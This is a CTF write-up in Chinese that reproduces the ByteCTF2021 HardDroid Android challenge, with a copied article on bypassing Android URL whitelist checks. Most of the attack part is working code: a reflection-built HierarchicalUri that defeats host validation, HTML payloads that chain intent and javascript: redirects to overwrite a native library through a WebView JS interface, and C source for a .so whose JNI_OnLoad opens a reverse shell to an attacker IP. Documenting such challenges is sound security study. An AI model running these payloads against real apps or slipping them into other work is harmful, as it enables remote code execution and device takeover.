ByteCTF2021 HardDroid复现

依旧参考:ByteCTF2021 HardDroid复现 | LLeaves Blog

APK分析

AndroidManifest.xml

注意到这里的TestActivity与之前不同,android:launchMode=”standard,是 Activity 的启动模式,决定了系统在启动这个 Activity 时,如何创建/复用实例。

standard = 每次 startActivity(),都会新建一个 Activity 实例 (默认值)

launchMode 行为
standard 每次启动都 new 一个 默认,最容易被反复触发
singleTop 栈顶复用 防止重复打开页面
singleTask 全局唯一一个 常用于登录页
singleInstance 独占一个任务栈 很少见,系统级

image-20260123225015365

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.bytectf.harddroid" platformBuildVersionCode="30" platformBuildVersionName="11">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="30"/>
<uses-permission android:name="android.permission.INTERNET"/>
<application android:theme="@style/Theme.Harddroid" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:usesCleartextTraffic="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
<activity android:name="com.bytectf.harddroid.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:name="com.bytectf.harddroid.TestActivity" android:exported="false" android:launchMode="standard"/>
<receiver android:name="com.bytectf.harddroid.FlagReceiver" android:exported="false">
<intent-filter>
<action android:name="com.bytectf.SET_FLAG"/>
</intent-filter>
</receiver>
</application>
</manifest>

FlagReceiver

跟之前一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.bytectf.harddroid;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;

/* loaded from: classes3.dex */
public class FlagReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if (flag != null) {
File file = new File(context.getFilesDir(), "flag");
writeFile(file, flag);
Log.e("FlagReceiver", "received flag.");
}
}

/* JADX WARN: Unsupported multi-entry loop pattern (BACK_EDGE: B:7:0x0016 -> B:23:0x0026). Please submit an issue!!! */
private void writeFile(File file, String s) {
FileWriter writer = null;
try {
try {
try {
writer = new FileWriter(file, true);
writer.write(s);
writer.write(10);
writer.close();
} catch (IOException e) {
e.printStackTrace();
if (writer != null) {
writer.close();
}
}
} catch (IOException e2) {
e2.printStackTrace();
}
} catch (Throwable th) {
if (writer != null) {
try {
writer.close();
} catch (IOException e3) {
e3.printStackTrace();
}
}
throw th;
}
}
}

TestActivity

TestActivity 是非导出的,其中有一个native方法native_write 用于在native层写入文件,还有JavaScript接口方法write_file用于向设备中写入文件。setJavaScriptEnabled也被设置为true状态。

handle方法获取了Intent的data并且进行data.getScheme().equals(“http”) && data.getAuthority().equals(“app.toutiao.com”) 校验,如果通过则加载libUtils.so 并且添加js接口允许js访问write_file 方法 ,否则移除js接口。

onNewIntent 则也要对intent进行handle处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.bytectf.harddroid;

import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Base64;
import android.webkit.JavascriptInterface;
import android.webkit.WebView;
import java.io.File;

/* loaded from: classes3.dex */
public class TestActivity extends Activity {
String soPath;
WebView webView;

public static native void native_write(String str, byte[] bArr);

private void handle(Intent intent) {
Uri data = intent.getData();
if (data.getScheme().equals("http") && data.getAuthority().equals("app.toutiao.com")) {
if (new File(this.soPath).exists()) {
System.load(this.soPath);
} else {
System.loadLibrary("Utils");
}
this.webView.addJavascriptInterface(this, "jsi");
} else {
this.webView.removeJavascriptInterface("jsi");
}
this.webView.loadUrl(data.toString());
}

@Override // android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.soPath = getApplicationContext().getFilesDir() + "/libUtils.so";
WebView webView = new WebView(getApplicationContext());
this.webView = webView;
setContentView(webView);
this.webView.getSettings().setJavaScriptEnabled(true);
handle(getIntent());
}

@Override // android.app.Activity
public void onNewIntent(Intent intent) {
super.onNewIntent(intent);
handle(intent);
}

@JavascriptInterface
public void write_file(String file, String content) {
native_write(file, Base64.decode(content, 0));
}
}

MainActivity

MainActivity和EasyDroid中的MainActivity 流程一样,先是获取intent的数据,然后经过校验后使用webView.loadUrl(data.toString())进行加载,而且设置了setJavaScriptEnabled(true) 这意味着启用了JavaScript 。除此之外设置了setWebViewClient ,并且通过shouldOverrideUrlLoading 拦截请求,在内部校验intent 并且可以进行跳转。因此这里存在攻击点,即可以绕过getAuthority校验加载恶意html,在html内部使用JavaScript 构造重定向请求,然后跳转到指定的非导出Activity

但是也有不同的地方,就是校验data的地方data.getHost().endsWith(“.toutiao.com”) && data.getScheme().equals(“http”) 在这个APP中,是对data的host字段尾部进行校验,使其必须为.toutiao.com ,同时校验协议http,虽然在ByteDroid1的复现文章里提到过如何绕过这种检测,但是绕过方法在Android11(API 30)中已经修复(这个补丁在 Oreo - 8.1.0_r33 才加入到原生源码中。所以安全补丁日期早于2018-04-01的系统都受影响),除此之外由于校验http ,所以通过javascript协议绕过的方法JavaScript://www.toutiao.com//%0d%0awindow.location.href='http://evil.com'也不可行,因此需要通过其他方法绕过。

这里在后面会介绍一下javascript协议绕过方法

来自LLeaves

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.bytectf.harddroid;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.net.URISyntaxException;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri data = getIntent().getData();
if (data == null) {
data = Uri.parse("http://app.toutiao.com/");
}
if (data.getHost().endsWith(".toutiao.com") && data.getScheme().equals("http")) {
WebView webView = new WebView(getApplicationContext());
webView.setWebViewClient(new WebViewClient() { // from class: com.bytectf.harddroid.MainActivity.1
@Override // android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView view, String url) {
Uri uri = Uri.parse(url);
if (uri.getScheme().equals("intent")) {
try {
MainActivity.this.startActivity(Intent.parseUri(url, 1));
} catch (URISyntaxException e) {
e.printStackTrace();
}
return true;
}
return super.shouldOverrideUrlLoading(view, url);
}
});
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl(data.toString());
}
}
}

漏洞分析

因为MainActivity存在Intent跳转点,并且没有什么其他可以利用的地方,所以需要先跳转到TestActivity进行攻击,但是需要先对校验进行绕过,否则无法正常加载恶意html,无法进行跳转。

这里需要构造HierarchicalUri 来绕过对host的校验。审android.net.Uri源码,发现除了StringUri,还有一个内部类也 HierarchicalUri 也继承了 AbstractHierarchicalUri,而AbstractHierarchicalUri又是继承自Uri,所以很容易想到,通过反射调用HierarchicalUri这个私有构造函数,传入构造好的 authority 和 path, 创建一个任意可控的Uri实例。具体可以看绕过Android域名白名单校验的方法_url白名单endswith绕过-CSDN博客

image-20260125142502985

我抄下来了,放在结尾,hackone上的已经不公开了

先看完末尾的文章也就是csdn上的更好理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
String toutiaoUri = "app.toutiao.com";
String attackerUri = "@xxx.xxx.xxx.xxx/harddroid.html"

Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);

Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);

Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);

Object authority = partConstructor.newInstance(toutiaoUri, toutiaoUri);
Object path = pathPartConstructor.newInstance(attackerUri, attackerUri);
Uri uri = (Uri) hierarchicalUriConstructor.newInstance("http", authority, path, null, null);

Log.d(TAG, "Scheme: " + uri.getScheme());
Log.d(TAG, "UserInfo: " + uri.getUserInfo());
Log.d(TAG, "Host: " + uri.getHost());
Log.d(TAG, "Authority: " + uri.getAuthority());
Log.d(TAG, "toString(): " + uri.toString());

// Scheme: http
// UserInfo: null
// Host: app.toutiao.com
// Authority: app.toutiao.com
// toString(): http://app.toutiao.com@xxx.xxx.xxx.xxxharddroid.html

上述代码在低版本中没问题,但到了安卓11就会报错,原因是从 Android 9(API 级别 28)开始,Android 平台对应用能使用的非 SDK 接口实施了限制。只要应用引用非 SDK 接口或尝试使用反射或 JNI 来获取其句柄,这些限制就适用。这些限制旨在帮助提升用户体验和开发者体验,为用户降低应用发生崩溃的风险,同时为开发者降低紧急发布的风险。如需详细了解有关此限制的决定,请参阅通过减少非 SDK 接口的使用来提高稳定性。可以通过Lsposed的AndroidHiddenApiBypass绕过

当执行:

1
2
Class.forName("android.net.Uri$HierarchicalUri");
constructor.setAccessible(true);

系统会:

  1. 检查这个类/方法是否属于 非 SDK 接口
  2. 如果属于:
    • 在 Android 9+:
      • 直接抛异常(IllegalAccessException / NoSuchMethodError
      • 或在 Android 11 更严格:直接崩

系统不允许摸这些类了

非 SDK 接口 = Android Framework 内部使用,但不对第三方 App 保证稳定性的接口

括:

  • android.net.Uri$HierarchicalUri
  • com.android.internal.*
  • 大量隐藏类 / 私有方法

AndroidHiddenApiBypass 是在绕过什么?它绕过的是系统对反射/JNI 访问隐藏 API 的拦截检查

Android 9+ 的隐藏 API 限制,本质是:

  • 在 ART(Android Runtime)里
  • 对反射/JNI 调用加了一层黑白名单检查
  • 非 SDK 接口 → 拦截

AndroidHiddenApiBypass 做的事情是:

  1. 利用 已允许的 API

  2. 修改 ART 内部的隐藏 API 访问策略

  3. 把:

    1
    blacklist / greylist

    改成:

    1
    whitelist
  4. 从此反射调用:

    1
    setAccessible(true)

    不再被拦截

setAccessible(true) 的作用是:临时关闭 Java 语言层面的“访问权限检查”,让你可以调用 private / protected 的字段、方法、构造函数

1
2
c.setAccessible(true);
c.newInstance();

这一步等于对 JVM 说:知道这是 private 的,不要再帮我做访问控制检查了

1️⃣ Java 语言层(setAccessible(true)

  • 管的是:
    • public / private / protected
  • 这是 Java 自己的规则

2️⃣ Android Runtime 层(Hidden API)

  • 管的是:你能不能碰 framework 的内部 API
  • 这是 Android 额外加的一层规则

如果将构造好的uri先toString,然后再Uri.parse就会输出下面的日志,对比上面的说明HierarchicalUri 构造的uri确实可以绕过

1
2
3
4
5
// Scheme: http
// UserInfo: app.toutiao.com
// Host: xxx.xxx.xxx.xxx
// Authority: app.toutiao.com@xxx.xxx.xxx.xxx
// toString(): http://app.toutiao.com@xxx.xxx.xxx.xxx/harddroid.htm

绕过之后可以让TestActivity的WebView加载远程的恶意html,而恶意html要设法利用js接口向被攻击APP数据目录写文件或修改已存在的文件,再进行漏洞利用。

  1. 先是通过location.href 使webview添加js接口,要想添加接口必须使用app.toutiao.com作host,为后面调用接口方法做准备。

  2. 然后是js接口的利用,如果intent通过onNewIntent这个方法进入,则访问的还是上次onCreate实例化的添加js接口的webview,因此当构造javascript:xxxxx这样的url时候就会形成UXSS问题,因此第二次通过location.href 跳转实际是执行js接口方法,将/data/data/com.bytectf.harddroid/files/libUtils.so 覆盖为恶意二进制so,恶意的so只含JNI_OnLoad ,在下次加载so时反弹shell。

    一般来说,当launchMode不是standard的时候,连续两个Intent唤起activity就只存在一个Activity实例,除了第一次启动,后续都走onNewIntent。但是在AndroidManifest.xml文件中,作者显式的将launchMode指定为standard了,很容易错误认为这里是没问题的。

    但是在Intent中定义了很多FLAG,其中有几个FLAG也可以设定Activity的启动方式,如果Launch Mode和FLAG设定的Activity的启动方式有冲突,则以FLAG设定的为准。当我们给Intent设置Intent.FLAG_ACTIVITY_SINGLE_TOP后,他的启动模式将无视manifest的定义并变成singleTop。

  3. 完成上述工作后就可以再次通过location.href 跳转,加载覆盖后的so,执行JNI_OnLoad 反弹Shell

APP构建

MainActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package com.bytectf.pwnharddroid;

import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.util.Log;

import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import org.lsposed.hiddenapibypass.HiddenApiBypass;

import java.lang.reflect.Constructor;

public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setClassName("com.bytectf.harddroid","com.bytectf.harddroid.MainActivity");
Uri jump_uri = getUri("@xxx.xxx.xxx.xxx/harddroid.html");
intent.setData(jump_uri);
Log.d("Test",intent.toUri(Intent.URI_INTENT_SCHEME));
startActivity(intent);
}

public Uri getUri(String attackerUri) {
String TAG = "attackNewIntent";

String toutiaoUri = "app.toutiao.com";

// 绕过API反射调用限制,具体使用参照项目说明
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
HiddenApiBypass.addHiddenApiExemptions("");
}

try {
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);

Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);

Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);

Object authority = partConstructor.newInstance(toutiaoUri, toutiaoUri);
Object path = pathPartConstructor.newInstance(attackerUri, attackerUri);
Uri uri = (Uri) hierarchicalUriConstructor.newInstance("http", authority, path, null, null);

Log.d(TAG, "Scheme: " + uri.getScheme());
Log.d(TAG, "UserInfo: " + uri.getUserInfo());
Log.d(TAG, "Host: " + uri.getHost());
Log.d(TAG, "Authority: " + uri.getAuthority());
Log.d(TAG, "toString(): " + uri.toString());

return uri;
} catch (Exception e) {
throw new RuntimeException(e);
}

}
}

harddroid.html

1
2
3
4
5
6
7
8
9
<script> location.href="intent://app.toutiao.com/#Intent;package=com.bytectf.harddroid;scheme=http;component=com.bytectf.harddroid/.TestActivity;end"
var payload = btoa(
`jsi.write_file("/data/data/com.bytectf.harddroid/files/libUtils.so","base64(pwnharddroid.so)")`
)
setTimeout(function(){ location.href="intent:eval(atob('"+payload+"'))#Intent;scheme=javascript;launchFlags=0x20000000;component=com.bytectf.harddroid/.TestActivity;end"
setTimeout(function(){ location.href="intent://app.toutiao.com/#Intent;package=com.bytectf.harddroid;scheme=http;component=com.bytectf.harddroid/.TestActivity;end"
},1000)
}, 1000)
</script>

我们此时可以完整的梳理一下流程

T0:从外部启动 HardDroid 的 MainActivity

MainActivity 的这句加载服务器上的 HTML文件

1
webView.loadUrl(data.toString());

T1:harddroid.html 在 MainActivity 的 WebView 里执行 JS

harddroid.html 里第一句:

1
location.href = "intent://app.toutiao.com/#Intent; ... component=.../.TestActivity; end"

这一步不是普通网页跳转,而是触发 MainActivity 的:

1
shouldOverrideUrlLoading(...)

因为 url 的 scheme 是 intent,MainActivity 会:

1
startActivity(Intent.parseUri(url, 1));

跳转到TestActivity

T2:TestActivity 被启动后,立刻执行 onCreate → handle(getIntent())

TestActivity 代码:

1
2
3
4
onCreate(...) {
...
handle(getIntent());
}

这里的 getIntent() 就是刚才从 MainActivity startActivity 出来的那个 Intent,也就那条 intent://… component=TestActivity … scheme=http

满足 if:

1
scheme == http && authority == app.toutiao.com

因此:

  • addJavascriptInterface(this, "jsi")
  • loadUrl("http://app.toutiao.com/...")(这次加载什么页面不重要,关键是接口已经加上了)

T3:1 秒后,harddroid.html 再触发第二个 Intent(javascript:)

harddroid.html 第二跳通常是:

1
location.href = "intent:eval(atob(payload))#Intent;scheme=javascript;launchFlags=0x20000000;component=.../.TestActivity;end"

这又被 MainActivity 的 WebView 拦截,startActivity 一个 Intent。

这一次因为设置了 FLAG_ACTIVITY_SINGLE_TOP(0x20000000):

  • TestActivity 不会重新 onCreate
  • 而是走:
1
onNewIntent(intent2) -> handle(intent2)

intent2.data 是:javascript:eval(...)

于是走 else:

1
removeJavascriptInterface("jsi");

但紧接着仍然执行:

1
webView.loadUrl("javascript:eval(...)");

在同一个旧 WebView 上下文里执行 JS,**调用 jsi.write_file(…)**,把 libUtils.so 覆盖为 evil.so

这里一定需要设置FLAG_ACTIVITY_SINGLE_TOP,否则重来一次会没有jsi

T4:再过 1 秒,第三跳回到http://app.toutiao.com触发加载 so

第三跳再打开一次:

1
intent://app.toutiao.com/#Intent;scheme=http;component=.../.TestActivity;end

又走 onNewIntent → handle(intent3),满足 if:

  • 发现 /data/data/.../files/libUtils.so 存在
  • System.load(this.soPath);
  • 触发 evil.so 的 JNI_OnLoad

SO源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include "jni.h"
#include <stdlib.h>
#include <android/log.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/prctl.h>
#include <errno.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>

#define TAG "hackso"
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG,TAG ,__VA_ARGS__)

JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
LOGD("JNI_OnLoading...");

if (fork() == 0) {
int rsSocket;
struct sockaddr_in socketAddr;

// configure socket address
socketAddr.sin_family = AF_INET;
socketAddr.sin_addr.s_addr = inet_addr("xxx.xxx.xxx.xxx");
socketAddr.sin_port = htons(xxx);

// create socket connection
rsSocket = socket(AF_INET, SOCK_STREAM, 0);
connect(rsSocket, (struct sockaddr *) &socketAddr, sizeof(socketAddr));

// redirect std to socket
dup2(rsSocket, 0); // stdin
dup2(rsSocket, 1); // stdout
dup2(rsSocket, 2); // stderr

// get shell
execve("/system/bin/sh", NULL, NULL);

LOGD("shelling...");
}

return JNI_VERSION_1_6;
}

注意的是原来LLeaves博客上的harddroid.html的那份写so部分不太方便

其实可以改成从服务器直接路径里读也行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script>
const BASE = "http://1xxxx";
const TARGET = "/data/data/com.bytectf.harddroid/files/libUtils.so";

function jump(u){ location.href = u; }

async function run() {
jump("intent://app.toutiao.com/#Intent;package=com.bytectf.harddroid;scheme=http;component=com.bytectf.harddroid/.TestActivity;end");

setTimeout(async () => {
const b64 = await fetch(BASE + "/libpwnharddroid.b64").then(r => r.text());

const js = `jsi.write_file("${TARGET}","${b64}")`;
const payload = btoa(js);
jump(`intent:eval(atob('${payload}'))#Intent;scheme=javascript;launchFlags=0x20000000;component=com.bytectf.harddroid/.TestActivity;end`);
setTimeout(() => {
jump("intent://app.toutiao.com/#Intent;package=com.bytectf.harddroid;scheme=http;component=com.bytectf.harddroid/.TestActivity;end");
}, 1000);

}, 1000);
}

run();
</script>

成功

image-20260125224953924

image-20260125225022762

绕过Android域名白名单校验的方法

copy from 绕过Android域名白名单校验的方法_url白名单endswith绕过-CSDN博客

一、 Url加入反斜杠"\"

mediumdroid的一种解法

1
2
3
4
5
6
7
8
9
/*  Uri 结构
* [scheme:][//authority][path][?query][#fragment]
*/
[check_v1]
Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
// or webView.loadUrl(uri.toString())
}

1
2
3
4
5
String url = "http://attacker.com\\.legitimate.com/smth"; 
Log.d("getHost:", Uri.parse(url).getHost()); // 输出 attacker.com\.legitimate.com !
if (Uri.parse(url).getHost().endsWith(".legitimate.com")) {
webView.loadUrl(url, getAuthorizationHeaders()); // 成功加载 attacker.com!
}

可以看到 getHost() 和 loadUrl() 的表现不一致,if检验跳转目标是.legitimate.com,但执行时浏览器会把反斜线纠正为正斜线去访问attacker.com。那么如果是用 equals() 来做完整的 host 检验该怎么办呢?只需加一个‘@’就能隔断非法前缀。

1
2
3
String url = "http://attacker.com\\@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost()); // 输出 legitimate.com!
webView.loadUrl(url, getAuthorizationHeaders()); // 加载 attacker.com!

看来android.net.Uri的 parse() 是有安全缺陷的,我们扒拉一下代码定位问题…

1
2
3
4
[frameworks/base/core/java/android/net/Uri.java]
public static Uri parse(String uriString) {
return new StringUri(uriString);
}

继续看这个内部类StringUri

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
[frameworks/base/core/java/android/net/Uri.java]
private static class StringUri extends AbstractHierarchicalUri {
...
private StringUri(String uriString) {
this.uriString = uriString;
}
...
private Part getAuthorityPart() {
if (authority == null) {
String encodedAuthority
= parseAuthority(this.uriString, findSchemeSeparator());
return authority = Part.fromEncoded(encodedAuthority);
}
return authority;
}
...
static String parseAuthority(String uriString, int ssi) {
int length = uriString.length();
// If "//" follows the scheme separator, we have an authority.
if (length > ssi + 2
&& uriString.charAt(ssi + 1) == '/'
&& uriString.charAt(ssi + 2) == '/') {
// We have an authority.
// Look for the start of the path, query, or fragment, or the
// end of the string.
int end = ssi + 3;
LOOP: while (end < length) {
switch (uriString.charAt(end)) {
case '/': // Start of path
case '?': // Start of query
case '#': // Start of fragment
break LOOP;
}
end++;
}
return uriString.substring(ssi + 3, end);
} else {
return null;
}
}
}

这里就明显看到StringUri没有对authority部分做反斜杠的识别处理, 接着找StringUri的父类AbstractHierarchicalUri

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[frameworks/base/core/java/android/net/Uri.java]
private abstract static class AbstractHierarchicalUri extends Uri {
private String parseUserInfo() {
String authority = getEncodedAuthority();
int end = authority.indexOf('@');
return end == NOT_FOUND ? null : authority.substring(0, end);
}
...
private String parseHost() {
String authority = getEncodedAuthority();
// Parse out user info and then port.
int userInfoSeparator = authority.indexOf('@');
int portSeparator = authority.indexOf(':', userInfoSeparator);
String encodedHost = portSeparator == NOT_FOUND
? authority.substring(userInfoSeparator + 1)
: authority.substring(userInfoSeparator + 1, portSeparator);
return decode(encodedHost);
}
}

就在这里把@符号之前内容的作为 UserInfo 给切断了,host 内容从@符号之后算起。(这里其实存在另一个 bug,没有考虑多个@的情况)

Google 在 2018年4月的 Android 安全公告里发布了这个漏洞CVE-2017-13274补丁

通过AndroidXRef查询,这个补丁在 Oreo - 8.1.0_r33 才加入到原生源码中。所以安全补丁日期早于2018-04-01的系统都受影响,而 Google 一般通过协议要求 OEM厂商保证产品上市之后两年内按期打安全补丁。那么经过推算得出 Android 6及以下的系统都受影响。

PS:url含多个@的情况也在2018年1月的补丁中进行了修复CVE-2017-13176

userinfo 是 URL 里用于“身份认证信息”的一部分,格式是:

1
scheme://userinfo@host:port/path

也就是说:

1
http://username:password@www.example.com/
  • username:passworduserinfo
  • @ 后面才是真正的 host

userinfo 在现代浏览器中几乎被废弃/忽略,但在 URI 解析标准里仍然是合法结构

二、反射调用HierarchicalUri构造Uri

上一节提到了@的截取的特性,会把恶意地址前缀attacker.com存入 UserInfo,那么现在改进校验方法, 加上 UserInfo 的检查是不是就万无一失了呢?

1
2
3
4
5
6
[check_v2]
Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) && uri.getUserInfo() == null && "legitimate.com".equals(uri.getHost());
if (isOurDomain) {
webView.load(uri.toString(), getAuthorizationHeaders());
}

还是看android.net.Uri源码,发现除了StringUri,还有一个内部类HierarchicalUri 也继承了 AbstractHierarchicalUri

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[frameworks/base/core/java/android/net/Uri.java]
private static class HierarchicalUri extends AbstractHierarchicalUri {
private final String scheme; // can be null
private final Part authority;
private final PathPart path;
private final Part query;
private final Part fragment;
private HierarchicalUri(String scheme, Part authority, PathPart path, Part query, Part fragment) {
this.scheme = scheme;
this.authority = Part.nonNull(authority);
this.path = path == null ? PathPart.NULL : path;
this.query = Part.nonNull(query);
this.fragment = Part.nonNull(fragment);
}
...
}

而AbstractHierarchicalUri又是继承自Uri,所以很容易想到,通过反射调用HierarchicalUri这个私有构造函数,传入构造好的 authority 和 path, 创建一个任意可控的Uri实例。继续查看Part和PathPart类的构造方法:

1
2
3
4
5
6
7
8
9
10
static class Part extends AbstractPart {
private Part(String encoded, String decoded) {
super(encoded, decoded);
}
}
static class PathPart extends AbstractPart {
private PathPart(String encoded, String decoded) {
super(encoded, decoded);
}
}

Part 本质是一个小容器,里面同时存两份东西:

  • encoded(编码形式)
  • decoded(解码形式)

由此构造 PoC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public void PoC() {
private static final String TAG = "PoC";
String attackerUri = "@attacker.com";
String legitimateUri = "legitimate.com";

try {
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);

Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);

Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);

Object authority = partConstructor.newInstance(legitimateUri, legitimateUri);
Object path = pathPartConstructor.newInstance(attackerUri, attackerUri);
Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);

Log.d(TAG, "Scheme: " + uri.getScheme());
Log.d(TAG, "UserInfo: " + uri.getUserInfo());
Log.d(TAG, "Host: " + uri.getHost());
Log.d(TAG, "toString(): " + uri.toString());

} catch (Exception e) {
throw new RuntimeException(e);
}
Intent intent = new Intent("android.intent.action.VIEW");
intent.setClassName(Victim_packageName, Victim_className);
intent.setData(uri);
intent.addFlags(268435456);
startActivity(intent);
}

logcat 输出:

1
2
3
4
07-07 19:00:36.765 9209 9209 D PoC : Scheme: https
07-07 19:00:36.765 9209 9209 D PoC : UserInfo: null
07-07 19:00:36.765 9209 9209 D PoC : Host: legitimate.com
07-07 19:00:36.765 9209 9209 D PoC : toString(): https://legitimate.com@attacker.com

从输出日志可以看到,通过此反射方法构造的 Uri 对象,可以通过 check_v2 方法对 SchemeUserInfoHost 的三项检验,但 toString() 方法的值https://legitimate.com@attacker.com,才是被攻击的 Activity 拉起的实际地址。如前所述,@符号之后的 attacker.com 便成为了最终访问的 host。

PoC 关键两行:

1
2
3
Object authority = partConstructor.newInstance(legitimateUri, legitimateUri);
Object path = pathPartConstructor.newInstance(attackerUri, attackerUri); // attackerUri = "@attacker.com"
Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);

意思是:

  • authority 字段(也就是 // 后面那块)设为 "legitimate.com"
  • path 字段(也就是 /path 那块)设为 "@attacker.com" —— 注意它没写 /@attacker.com,而是直接 @attacker.com

然后 HierarchicalUri.toString() 拼 URL 时会做:

1
scheme + "://" + authority + path

于是得到:

1
"https://legitimate.com" + "@attacker.com" = "https://legitimate.com@attacker.com"

抵御这种攻击的方法也非常简单,对传入的 Uri 对象加一次 parse() 再做 check_v2 即可:

1
2
3
4
Uri raw = getIntent().getData();
Uri uri = Uri.parse(raw.toString());
uri.getUserInfo() -> "legitimate.com"
uri.getHost() -> "attacker.com"

三、远程利用方法

我们知道,通过在组件中注册 intent-filter,App 可以响应浏览器应用或短信应用访问的外链。典型的一个配置写法如下,只有 <data> 标签中指定的内容和 Intent 中携带的 Data 完全一致时,当前活动才能响应该 Intent。

1
2
3
4
5
6
7
8
<activity android:name=".DeeplinkActivity">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https" android:host="legitimate.com"/>
</intent-filter>
</activity>

前面两种方法我们都是用安装恶意 App 或 ADB 命令来触发攻击,注意到 Android 对 <data> 定义的属性,也是通过 parsedIntent.getData().getHost() 来进行匹配的,我们很自然的想到尝试远程利用。

1
2
3
4
5
<!--
